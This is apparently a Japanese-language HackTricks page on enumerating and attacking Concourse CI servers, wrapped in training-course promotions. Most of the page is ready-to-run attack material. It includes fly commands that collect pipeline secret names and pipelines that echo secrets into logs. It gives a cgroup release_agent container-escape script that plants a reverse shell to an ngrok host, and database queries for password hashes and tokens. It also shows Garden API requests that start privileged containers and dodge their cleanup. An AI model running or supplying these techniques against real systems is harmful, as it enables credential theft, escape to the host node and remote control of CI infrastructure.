Concourse Enumeration & Attacks
Reading time: 23 minutes
Concourse Enumeration & Attacks
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ユーザーロールと権限
Concourse には5つのロールがあります:
- Concourse Admin: このロールは メインチーム(デフォルトの初期 concourse チーム)の所有者にのみ与えられます。管理者は 他のチームを構成できます(例:
fly set-team
、fly destroy-team
...)。このロールの権限は RBAC によって影響を受けません。 - owner: チームの所有者は チーム内のすべてを変更できます。
- member: チームメンバーは チームの資産内で読み書きできますが、チーム設定を変更することはできません。
- pipeline-operator: パイプラインオペレーターはビルドのトリガーやリソースのピン留めなどの パイプライン操作を実行できますが、パイプライン設定を更新することはできません。
- viewer: チームのビューワーはチームとそのパイプラインに対して 「読み取り専用」アクセスを持っています。
note
さらに、owner、member、pipeline-operator、viewer のロールの権限は RBAC を構成することで 変更可能です(具体的にはそのアクションを構成します)。詳細については、https://concourse-ci.org/user-roles.htmlを参照してください。
Concourse は チーム内にパイプラインをグループ化します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、複数のチームが存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。
Vars & Credential Manager
YAML 設定では、((_source-name_:_secret-path_._secret-field_))
の構文を使用して値を構成できます。
ドキュメントから: source-name はオプションであり、省略した場合は クラスター全体の資格情報マネージャー が使用されるか、値が 静的に提供される場合があります。
オプションの _secret-field_ は取得した秘密のフィールドを読み取るために指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。
さらに、secret-path と secret-field は、。
や :
のような 特殊文字を含む場合、二重引用符 "..."
で囲むことができます。たとえば、((source:"my.secret"."field:1"))
は secret-path を my.secret
に、secret-field を field:1
に設定します。
静的変数
静的変数は タスクステップで指定できます:
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
以下の fly
引数を使用します:
-v
または--var
NAME=VALUE
は、文字列VALUE
を変数NAME
の値として設定します。-y
または--yaml-var
NAME=VALUE
は、VALUE
を YAML として解析し、変数NAME
の値として設定します。-i
または--instance-var
NAME=VALUE
は、VALUE
を YAML として解析し、インスタンス変数NAME
の値として設定します。インスタンス変数について詳しくは Grouping Pipelines を参照してください。-l
または--load-vars-from
FILE
は、変数名と値のマッピングを含む YAML ドキュメントFILE
を読み込み、すべてを設定します。
認証情報管理
パイプラインで Credential Manager を指定する方法 はいくつかあります。詳細は https://concourse-ci.org/creds.html をお読みください。
さらに、Concourse は異なる認証情報マネージャーをサポートしています:
- The Vault credential manager
- The CredHub credential manager
- The AWS SSM credential manager
- The AWS Secrets Manager credential manager
- Kubernetes Credential Manager
- The Conjur credential manager
- Caching credentials
- Redacting credentials
- Retrying failed fetches
caution
Concourse に対して何らかの 書き込みアクセス がある場合、ジョブを作成して それらの秘密を流出させる ことができることに注意してください。
Concourse 列挙
Concourse 環境を列挙するには、まず 有効な認証情報を収集する か、.flyrc
設定ファイルにある 認証トークン を見つける必要があります。
ログインと現在のユーザー列挙
- ログインするには、エンドポイント、チーム名(デフォルトは
main
)、および ユーザーが所属するチーム を知っている必要があります: fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]
- 設定された ターゲット を取得:
fly targets
- 設定された ターゲット接続 がまだ 有効 かどうかを確認:
fly -t <target> status
- 指定されたターゲットに対するユーザーの 役割 を取得:
fly -t <target> userinfo
note
API トークン はデフォルトで $HOME/.flyrc
に 保存 されるため、マシンを略奪する際にそこに認証情報が見つかる可能性があります。
チームとユーザー
- チームのリストを取得:
fly -t <target> teams
- チーム内の役割を取得:
fly -t <target> get-team -n <team-name>
- ユーザーのリストを取得:
fly -t <target> active-users
パイプライン
- パイプラインのリスト:
fly -t <target> pipelines -a
- パイプラインの YAML を 取得(機密情報が定義に含まれている可能性があります):
fly -t <target> get-pipeline -p <pipeline-name>
- すべてのパイプライン 設定された変数 を取得:
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
- 使用されているすべての パイプラインの秘密の名前 を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、流出させることができます):
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
コンテナとワーカー
- ワーカーのリスト:
fly -t <target> workers
- コンテナのリスト:
fly -t <target> containers
- ビルドのリスト(実行中のものを確認するため):
fly -t <target> builds
Concourse攻撃
認証情報ブルートフォース
- admin:admin
- test:test
シークレットとパラメータの列挙
前のセクションでは、パイプラインで使用されるすべてのシークレット名と変数を取得する方法を見ました。変数には機密情報が含まれている可能性があり、シークレットの名前は後でそれらを盗むために役立ちます。
実行中または最近実行されたコンテナ内のセッション
十分な権限(メンバー役割以上)があれば、パイプラインと役割をリストし、次のコマンドを使用して**
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
これらの権限があれば、次のことができるかもしれません:
- コンテナ内の秘密を盗む
- ノードにエスケープしようとする
- クラウドメタデータエンドポイントを列挙/悪用する(ポッドおよびノードから、可能であれば)
パイプラインの作成/変更
十分な権限(メンバー役割以上)があれば、新しいパイプラインを作成/変更することができます。次の例を確認してください:
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
新しいパイプラインの変更/作成により、次のことが可能になります:
- 秘密を盗む(それらをエコー出力するか、コンテナ内に入り
env
を実行することで) - ノードにエスケープする(十分な権限を与えることで -
privileged: true
) - クラウドメタデータエンドポイントを列挙/悪用する(ポッドおよびノードから)
- 作成したパイプラインを削除する
カスタムタスクの実行
これは前の方法に似ていますが、全く新しいパイプラインを変更/作成する代わりに、カスタムタスクを実行するだけで済みます(おそらくはるかにステルス性が高いでしょう):
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml
特権タスクからノードへのエスケープ
前のセクションでは、concourseで特権タスクを実行する方法を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープはより「複雑」になる可能性があります。
次のPoCでは、いくつかの小さな修正を加えてrelease_agentを使用してエスケープします:
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)
## Then next part I think is constant "hostpath-provisioner/default/"
## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for
# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
warning
ご覧の通り、これは単なる通常のrelease_agentエスケープであり、ノード内のcmdのパスを変更するだけです。
Workerコンテナからノードへのエスケープ
このためには、わずかな修正を加えた通常のrelease_agentエスケープで十分です:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Webコンテナからノードへのエスケープ
Webコンテナにいくつかの防御が無効になっていても、一般的な特権コンテナとして実行されていません(例えば、マウントできず、能力は非常に制限されています。そのため、コンテナからエスケープするための簡単な方法は無駄です)。
しかし、ローカルの資格情報が平文で保存されています:
cat /concourse-auth/local-users
test:test
env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
その資格情報を使用してウェブサーバーにログインし、特権コンテナを作成してノードにエスケープすることができます。
環境内では、concourseが使用するpostgresqlインスタンスにアクセスするための情報(アドレス、ユーザー名、パスワード、およびデータベースなどの情報)も見つけることができます。
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]
# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
ガーデンサービスの悪用 - 実際の攻撃ではない
warning
これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。
デフォルトでは、各concourseワーカーはポート7777でGardenサービスを実行します。このサービスは、Webマスターがワーカーに実行する必要があること(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります:
- それはローカルにのみ公開されています(127..0.0.1)し、ワーカーが特別なSSHサービスでWebに対して認証するときに、各ワーカー内の各Gardenサービスと通信するためのトンネルが作成されると思います。
- Webサーバーは数秒ごとに実行中のコンテナを監視しており、予期しないコンテナは削除されます。したがって、カスタムコンテナを実行したい場合は、Webサーバーとガーデンサービス間の通信を改ざんする必要があります。
Concourseワーカーは高いコンテナ特権で実行されます:
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
しかし、ノードの/devデバイスやrelease_agentをマウントするような技術は機能しません(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。
note
前のセクションでは特権コンテナから脱出する方法を見ましたので、現在の ワーカーによって作成された特権コンテナでコマンドを実行できる場合、ノードに脱出できる可能性があります。
concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。
実行中の特権コンテナに入る
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
新しい特権コンテナの作成
ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます:
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
しかし、ウェブサーバーは数秒ごとに実行中のコンテナをチェックしており、予期しないコンテナが発見されると削除されます。通信がHTTPで行われているため、予期しないコンテナの削除を回避するために通信を改ざんすることができます:
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
参考文献
- https://concourse-ci.org/vars.html
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。